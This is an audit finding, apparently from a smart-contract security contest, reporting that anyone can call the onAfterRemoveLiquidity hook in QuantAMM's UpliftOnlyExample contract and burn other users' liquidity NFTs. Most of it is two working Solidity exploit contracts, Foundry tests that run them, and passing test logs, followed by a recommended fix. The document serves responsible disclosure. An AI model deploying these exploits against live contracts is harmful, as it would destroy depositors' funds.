Summary
Attacker can cause users losing money by burning the LPNFT token of any user by exploiting onAfterRemoveLiquidity lack of proper access control.
The root cause is due to lack of proper access control in onAfterRemoveLiquidity function that allows anyone to call this function.
Vulnerability Details
In an in-scope of the audit that is contract UpliftOnlyExample.sol, the function onAfterRemoveLiquidity is intended to be called as a hook during Remove liquidity transaction.
https://github.com/Cyfrin/2024-12-quantamm/blob/main/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol#L431C14-L440
function onAfterRemoveLiquidity(
address router,
address pool,
RemoveLiquidityKind,
uint256 bptAmountIn,
uint256[] memory,
uint256[] memory amountsOutRaw,
uint256[] memory,
bytes memory userData
) public override onlySelfRouter(router) returns (bool, uint256[] memory hookAdjustedAmountsOutRaw) {
This function has an modifier onlySelfRouter(router) that validates if the input parameter router is this contract.
https://github.com/Cyfrin/2024-12-quantamm/blob/main/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol#L190-L193
modifier onlySelfRouter(address router) {
_ensureSelfRouter(router);
_;
}
function _ensureSelfRouter(address router) private view {
if (router != address(this)) {
revert CannotUseExternalRouter(router);
}
}
This function lacks proper access control because anyone can call this function by input the router parameter as this contract.
An attacker can exploit this vulnerability to burn the liquidity token of any user. Remember that when users add liquidity by calling addLiquidityProportional(), an LPNFT is minted for the user and the deposit value is stored in the storage array poolsFeeData[pool][user]
Now an attacker can call onAfterRemoveLiquidity and input userData for any user and any bptAmountIn amount to burn the LPNFT token of any user. By doing so, the user lost the money that he provided liquidity for the QuantAMM protocol in UpliftOnlyExample contract. Later, the users cannot remove the liquidity and receive back the money.
address userAddress = address(bytes20(userData));
FeeData[] storage feeDataArray = poolsFeeData[pool][userAddress];
https://github.com/Cyfrin/2024-12-quantamm/blob/main/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol#L493-L511
if (feeDataArray[i].amount <= localData.amountLeft) {
uint256 depositAmount = feeDataArray[i].amount;
localData.feeAmount += (depositAmount * feePerLP);
localData.amountLeft -= feeDataArray[i].amount;
lpNFT.burn(feeDataArray[i].tokenID);
delete feeDataArray[i];
feeDataArray.pop();
if (localData.amountLeft == 0) {
break;
}
} else {
feeDataArray[i].amount -= localData.amountLeft;
localData.feeAmount += (feePerLP * localData.amountLeft);
break;
}
Impact
An attacker can exploit this vulnerability to burn the liquidity token of any user. By doing so, the victim lost the money that he provided liquidity for the QuantAMM protocol in UpliftOnlyExample contract.
Impact: High
Reason: Because users' fund are directly lost
Likelyhood: High
It's highly to happen. A hacker can call a function directly. The cost of the attack is cheap, explained below.
=> Total Impact: High
Reference: https://docs.codehawks.com/hawks-auditors/how-to-evaluate-a-finding-severity
Tools Used
Test case in Foundry Framework
Proof of Concept
The scenario when getQuantAMMUpliftFeeTake of _updateWeightRunner is 0
In this scenario, the attacker just need to pay the gas to execute the exploit.
Step 0: Setup the precondition for the attack. The victim Bob has added 1000 DAI and 1000 USDC to the upliftOnlyRouter that is UpliftOnlyExample contract.
Step 1: Deploy the ExploitOnAfterRemoveLiquidity contract.
Step 2: Execute the exploit. In this exploit, first call Vault.unlock() to unlock the Vault. In the callback() from Vault, call the onAfterRemoveLiquidity to burn the victim's LPNFT
Step 3: Check that that Bob's LPNFT was burned and getUserPoolFeeData length of Bob is 0
POC Code:
contract ExploitOnAfterRemoveLiquidity {
address owner;
UpliftOnlyExample upliftOnlyRouter;
address vault;
address victim;
address pool;
constructor() {
owner = msg.sender;
}
function execute_Exploit(UpliftOnlyExample upliftOnlyRouter_, address vault_, address pool_, address victim_) public {
require(msg.sender == owner, "Only owner can call this function");
upliftOnlyRouter = upliftOnlyRouter_;
vault = vault_;
pool = pool_;
victim = victim_;
bytes memory data = abi.encodeWithSignature("callback()");
Vault_interface(vault).unlock(data);
}
function callback() public {
require(msg.sender == vault, "Only vault can call this function");
uint256 bptAmountIn = 2000000000000000000000;
uint256[] memory amount = new uint256[]();
amount[0] = 0;
amount[1] = 0;
uint256[] memory amountOut = new uint256[]();
amountOut[0] = 0;
amountOut[1] = 0;
bytes memory userData = abi.encodePacked(victim);
upliftOnlyRouter.onAfterRemoveLiquidity(address(upliftOnlyRouter), pool, RemoveLiquidityKind.PROPORTIONAL, bptAmountIn, amount, amountOut, amount, userData);
}
}
function testOnAfterRemoveLiquidity_Hacked() public {
uint256 fee = updateWeightRunner.getQuantAMMSwapFeeTake();
console.log("getQuantAMMSwapFeeTake: ", fee);
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
vm.prank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob).length, 1, "bptAmount mapping should be 1");
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].amount, bptAmount, "bptAmount mapping should be 0");
assertEq(
upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].blockTimestampDeposit,
block.timestamp,
"bptAmount mapping should be 0"
);
assertEq(
upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].lpTokenDepositValue,
500000000000000000,
"should match sum(amount * price)"
);
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].upliftFeeBps, 200, "fee");
uint256 nftTokenId = 0;
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
BaseVaultTest.Balances memory balancesBefore = getBalances(bob);
vm.stopPrank();
bytes memory data = abi.encodeWithSignature("execute_Exploit()");
ExploitOnAfterRemoveLiquidity exploit = new ExploitOnAfterRemoveLiquidity();
exploit.execute_Exploit(upliftOnlyRouter, address(vault), pool, address(bob));
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob).length, 0, "bptAmount mapping should be 0");
}
The scenario 2: when getQuantAMMUpliftFeeTake of _updateWeightRunner is not zero, can be 0.5e18 as in the code of UpdateWeightRunner
https://github.com/Cyfrin/2024-12-quantamm/blob/main/pkg/pool-quantamm/contracts/UpdateWeightRunner.sol#L124
uint256 public quantAMMSwapFeeTake = 0.5e18;
In this case, beside the gas to execute the attack transaction, the attacker need to pay for the admin fee.
For example, in the case Bob is the victim and has provided 1000 DAI and 1000 USDC to the UpliftOnlyExample. The attacker need to pay 0.5 DAI and 0.5 USDC as the admin fee to execute the attack. This is quite cheap so it makes the attack possible to do for a lot of users of the protocol.
Step 0: Setup the precondition for the attack. The victim Bob has added 1000 DAI and 1000 USDC to the upliftOnlyRouter that is UpliftOnlyExample contract.
Step 1: Deploy the ExploitOnAfterRemoveLiquidity contract.
Step 2: Execute the exploit. In this exploit, first call Vault.unlock() to unlock the Vault. In the callback() from Vault, call the onAfterRemoveLiquidity to burn the victim's LPNFT. Also attacker need to transfer the USDC and DAI to pay for the admin fee and call Vault.settle().
Step 3: Check that that Bob's LPNFT was burned and getUserPoolFeeData length of Bob is 0
The POC Code
contract ExploitOnAfterRemoveLiquidity_2 {
address owner;
UpliftOnlyExample upliftOnlyRouter;
address vault;
address victim;
address pool;
address dai;
address usdc;
constructor() {
owner = msg.sender;
}
function execute_Exploit(UpliftOnlyExample upliftOnlyRouter_, address vault_, address pool_, address dai_, address usdc_, address victim_) public {
require(msg.sender == owner, "Only owner can call this function");
upliftOnlyRouter = upliftOnlyRouter_;
vault = vault_;
pool = pool_;
victim = victim_;
dai = dai_;
usdc = usdc_;
bytes memory data = abi.encodeWithSignature("callback()");
Vault_interface(vault).unlock(data);
}
function callback() public {
require(msg.sender == vault, "Only vault can call this function");
uint256 bptAmountIn = 2000000000000000000000;
uint256[] memory amount = new uint256[]();
amount[0] = 0;
amount[1] = 0;
uint256[] memory amountOut = new uint256[]();
amountOut[0] = 1000*10**18;
amountOut[1] = 1000*10**18;
bytes memory userData = abi.encodePacked(victim);
upliftOnlyRouter.onAfterRemoveLiquidity(address(upliftOnlyRouter), pool, RemoveLiquidityKind.PROPORTIONAL, bptAmountIn, amount, amountOut, amount, userData);
IERC20(dai).transfer(vault, 5e17);
IERC20(usdc).transfer(vault, 5e17);
Vault_interface(vault).settle(IERC20(dai),5e17 );
Vault_interface(vault).settle(IERC20(usdc),5e17 );
}
}
function testOnAfterRemoveLiquidity_Hacked_2() public {
deal(address(dai),address(this), 10**18);
deal(address(usdc),address(this), 10**18);
vm.startPrank(address(vaultAdmin));
updateWeightRunner.setQuantAMMSwapFeeTake(50e16);
vm.stopPrank();
uint256 fee = updateWeightRunner.getQuantAMMSwapFeeTake();
console.log("getQuantAMMSwapFeeTake: ", fee);
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
console.log("Dai decimal ", dai.decimals());
console.log("usdc decimal ", usdc.decimals());
vm.prank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob).length, 1, "bptAmount mapping should be 1");
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].amount, bptAmount, "bptAmount mapping should be 0");
assertEq(
upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].blockTimestampDeposit,
block.timestamp,
"bptAmount mapping should be 0"
);
assertEq(
upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].lpTokenDepositValue,
500000000000000000,
"should match sum(amount * price)"
);
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].upliftFeeBps, 200, "fee");
uint256 nftTokenId = 0;
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
BaseVaultTest.Balances memory balancesBefore = getBalances(bob);
vm.stopPrank();
bytes memory data = abi.encodeWithSignature("execute_Exploit()");
ExploitOnAfterRemoveLiquidity_2 exploit = new ExploitOnAfterRemoveLiquidity_2();
dai.transfer(address(exploit),5e17);
usdc.transfer(address(exploit),5e17);
exploit.execute_Exploit(upliftOnlyRouter, address(vault), pool, address(dai), address(usdc), address(bob));
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob).length, 0, "bptAmount mapping should be 0");
}
The Full POC is here:
https://gist.github.com/Perseverancesuccess2021/6e0e3cc4309de6db3958298ef10d4459#file-upliftexample-t-sol
Just replace to the folder 2024-12-quantamm\pkg\pool-hooks\test\foundry\UpliftExample.t.sol with this file
Run the test
forge test --match-test testOnAfterRemoveLiquidity_Hacked -vv
Ran 2 tests for test/foundry/UpliftExample.t.sol:UpliftOnlyExampleTest
[PASS] testOnAfterRemoveLiquidity_Hacked() (gas: 1114942)
Logs:
getQuantAMMSwapFeeTake: 0
[PASS] testOnAfterRemoveLiquidity_Hacked_2() (gas: 1689780)
Logs:
getQuantAMMSwapFeeTake: 500000000000000000
Dai decimal 18
usdc decimal 18
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 27.03ms (5.19ms CPU time)
Ran 1 test suite in 42.76ms (27.03ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
Full Log with detailed trace:
https://gist.github.com/Perseverancesuccess2021/6e0e3cc4309de6db3958298ef10d4459#file-testonafterremoveliquidity_hacked_250111_1630-log
Recommendations
Add proper access control. Should allow only vault contract to call this function.
